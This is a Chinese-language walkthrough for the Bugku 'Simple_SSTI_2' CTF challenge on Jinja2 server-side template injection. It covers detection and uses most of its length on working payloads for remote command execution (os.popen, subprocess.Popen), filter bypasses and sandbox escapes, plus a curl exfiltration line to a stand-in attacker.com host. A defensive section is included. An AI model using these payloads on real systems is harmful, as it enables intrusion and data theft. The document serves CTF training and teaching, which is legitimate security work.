1. 题目背景与核心考点解析Simple_SSTI_2是Bugku CTF平台上一道经典的服务器端模板注入(SSTI)挑战题。这类题目主要考察选手对模板引擎安全机制的理解以及利用漏洞获取系统权限的能力。题目名称中的Simple暗示解题思路相对直接但实际需要掌握模板注入的完整知识链才能有效突破。SSTI漏洞通常出现在使用模板引擎渲染用户输入的场景中。当开发者未对用户输入进行严格过滤时攻击者可以通过注入模板语法实现任意代码执行。这道题的特殊性在于它采用了Flask框架的Jinja2模板引擎这是CTF比赛中SSTI漏洞最常见的出题环境。2. 解题环境搭建与初步探测2.1 本地测试环境配置建议使用以下Docker镜像快速搭建与题目相同的测试环境docker pull vulhub/flask:1.1.1 docker run -d -p 8000:5000 vulhub/flask:1.1.12.2 基础探测手法首先通过常规输入测试页面响应# 测试基础XSS scriptalert(1)/script # 测试模板注入 {{7*7}} ${7*7} % 7*7 %当输入{{7*7}}返回49时即可确认存在Jinja2模板注入。这是解题的第一个关键步骤需要特别注意不同模板引擎的语法差异模板引擎测试Payload预期响应Jinja2{{7*7}}49Twig{{7*7}}49Smarty{7*7}493. 漏洞利用链构建3.1 Python对象链分析Jinja2环境下最常用的利用链是通过Python的对象继承关系获取敏感类。核心思路如下.__class__.__mro__[1].__subclasses__()这个调用链的含义是获取空字符串的类对象str通过__mro__获取方法解析顺序Method Resolution Order选择索引1对应的object基类枚举所有子类寻找可利用的类3.2 常用危险子类定位在返回的子类列表中以下几个类特别值得关注类索引类名可利用方法40warnings.catch_warnings__globals__包含os模块59subprocess.Popen直接执行系统命令133os._wrap_close包含os模块方法实际操作中需要通过遍历确定具体索引位置{% for x in .__class__.__mro__[1].__subclasses__() %} {% if Popen in x.__name__ %} {{ loop.index0 }}:{{ x.__name__ }} {% endif %} {% endfor %}4. 完整利用Payload构造4.1 通过os模块执行命令找到包含os模块的子类后典型利用方式{{ .__class__.__mro__[1].__subclasses__()[133].__init__.__globals__[os].popen(id).read() }}这个Payload的执行流程定位到os._wrap_close类假设索引133访问其__init__方法的全局变量从globals字典获取os模块调用popen执行系统命令4.2 直接使用subprocess类如果找到subprocess.Popen类假设索引59{{ .__class__.__mro__[1].__subclasses__()[59](ls,shellTrue,stdout-1).communicate()[0] }}4.3 绕过过滤的技巧当遇到关键词过滤时可以采用以下变形# 字符串拼接 {{ (request|attr(application))|attr(__globals__) }} # 十六进制编码 {{ .__class__.__mro__[1].__subclasses__()[0x7b].__init__.__globals__ }} # 属性访问替代 {{ [__class__][__mro__][1][__subclasses__]() }}5. 实战解题步骤5.1 获取题目环境信息首先确定系统基本信息{{ .__class__.__mro__[1].__subclasses__()[133].__init__.__globals__[os].popen(uname -a).read() }}5.2 文件系统遍历查找可能的flag文件位置{{ .__class__.__mro__[1].__subclasses__()[133].__init__.__globals__[os].popen(ls -al /).read() }}5.3 最终flag获取根据题目环境通常需要尝试以下路径# 常见flag位置 {{ .__class__.__mro__[1].__subclasses__()[133].__init__.__globals__[os].popen(cat /flag).read() }} {{ .__class__.__mro__[1].__subclasses__()[133].__init__.__globals__[os].popen(cat /app/flag.txt).read() }} {{ .__class__.__mro__[1].__subclasses__()[133].__init__.__globals__[os].popen(find / -name *flag*).read() }}6. 防御方案与最佳实践6.1 开发者防护措施严格过滤用户输入from jinja2 import escape user_input escape(request.form.get(input))使用沙盒环境from jinja2.sandbox import SandboxedEnvironment env SandboxedEnvironment()禁用危险方法env Environment() env.globals[__builtins__] None6.2 CTF选手自查清单确认模板引擎类型Jinja2/Twig/Smarty等测试基础注入语法{{7*7}}等枚举可用Python对象链定位危险子类os/subprocess等尝试多种命令执行方式检查常见flag存储位置7. 扩展知识与相关挑战7.1 其他模板引擎利用不同模板引擎的利用方式差异引擎基础Payload特点Twig{{_self.env}}通过_self访问环境Smarty{system(id)}直接system函数调用Velocity#set($x)#evaluate需要特殊语法构造7.2 盲注场景处理当没有回显时可以采用外带技术# DNS外带 {{ .__class__.__mro__[1].__subclasses__()[133].__init__.__globals__[os].popen(curl http://attacker.com/whoami).read() }} # 时间盲注 {% if .__class__.__mro__[1].__subclasses__()[133].__init__.__globals__[os].popen(sleep 5).read() %}1{% endif %}8. 调试技巧与工具推荐8.1 交互式调试方法使用Python交互环境测试Payload from jinja2 import Template t Template({{ .__class__.__mro__[1].__subclasses__() }}) print(t.render())8.2 实用工具推荐Tplmap自动化SSTI检测工具python tplmap.py -u http://target/page?input*Jinja2调试器from jinja2.runtime import undefined env Environment(undefinedundefined)对象链可视化脚本for idx, item in enumerate(.__class__.__mro__[1].__subclasses__()): print(f{idx}: {item.__name__})9. 常见问题排查9.1 Payload不生效的可能原因子类索引位置不同Python版本差异关键方法被沙盒限制存在WAF拦截特殊字符输出被HTML编码处理9.2 解决方案调整子类索引范围通常40-200尝试其他对象链如request对象使用编码/拼接绕过过滤检查响应头中的编码信息10. 高级利用技巧10.1 内存操作技术通过内存操作实现无文件利用# 从内存加载模块 {{ .__class__.__mro__[1].__subclasses__()[133].__init__.__globals__[__import__](os).system(id) }}10.2 反序列化结合当存在pickle反序列化时{{ .__class__.__mro__[1].__subclasses__()[133].__init__.__globals__[__import__](pickle).loads(request.cookies.get(payload)) }}10.3 限制环境突破在严格沙盒中尝试# 通过builtins突破 {{ .__class__.__mro__[1].__subclasses__()[133].__init__.__globals__[__builtins__][__import__](os).system(id) }}